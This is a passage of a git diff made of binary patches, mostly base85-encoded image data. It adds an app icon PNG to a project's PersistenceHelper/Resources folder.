zAk`Kw^dwkm*)$-X617(h(c{rI%K4o#52;h^^zgZSbklV7toO2U#vv$L4E@SN{>8M)@DA6=>Q0*`KMk87xRJ*RR3Si+4zuc*Q zUNsxOS(?iB$o=m4ikVGZr?bWS$*QP}a7epmxh5omNytOJ_{*a;fL01@R zQ327xW2?$n_y7Z4iM4_(p3ZR33Z~2B*qNDkh_rU?M<sf{ZOeP%XH(5jSU5ZAz9`>4TDRvc zQ}15bJDXCy=-4{9nD}hnk<8eV&+FNNCB;KpgKA^k=q)Fl;1^5a2ub=|QOz=oePzT+ zMdJ=w!?_M6(zjf4R0`9Su@z!(;h%=b!-;~D0C11Qis%?8T3aoe)gCbYIaRp)PIAW8 zk`EN&Ps67|=Z>)^h?!im9 z$2K5~$hTWknlh~R|hdPeaq|lMS!t zRW6xT?4~eN5==1QlNB)u&ZAch;v}_QMpm9)F$m`6ur(I~m|jD}PmdL*aa|nBY##>V z-aKUINnO}q#(rw0z8sXkxiz4Fw%k|ffkU?LaARJ7^lO~HtaHvDOxuIZt2$k90$7ta zqu&=+veqv7ym|j}?L}{gd`eL0aLm`M9gVuSW7U;kbljdk8A_>fi>|J*u>Twm7q&LQ zkX`)57}~6Dfmn-y6R9OHsL&G1nPQ$jm*d)kE;+A=qM0ROp8ZA=Ys!x4GZlw)Vxs1SXsdgoQ|?A(9~)Eh zG0-)y##P*5o9$vxRj*!w_p?28*J>HMbe(qJ?2+sWcSRkft@o=|g(suMp>JN!4py`` z#QWQ8=T@%TGw-?_EVKVS!Q>6$jks5r3x8|VTzX9n79`VyME`*e{Eu2r)&_y0w(^3D ze~%;vbIF^dNw(ZUaBspS4mGdg^@4}q4m*1N%Oa2z7iw#o}*Ewf|2;P5$J60K|jId;kCd literal 0 HcmV?d00001 diff --git a/PersistenceHelper/Resources/AppIcon60x60@2x.png b/PersistenceHelper/Resources/AppIcon60x60@2x.png new file mode 100644 index 0000000000000000000000000000000000000000..348f51f61fe6044330a6b6bfa8fdf4a3641dc6a1 GIT binary patch literal 15740 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 z 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 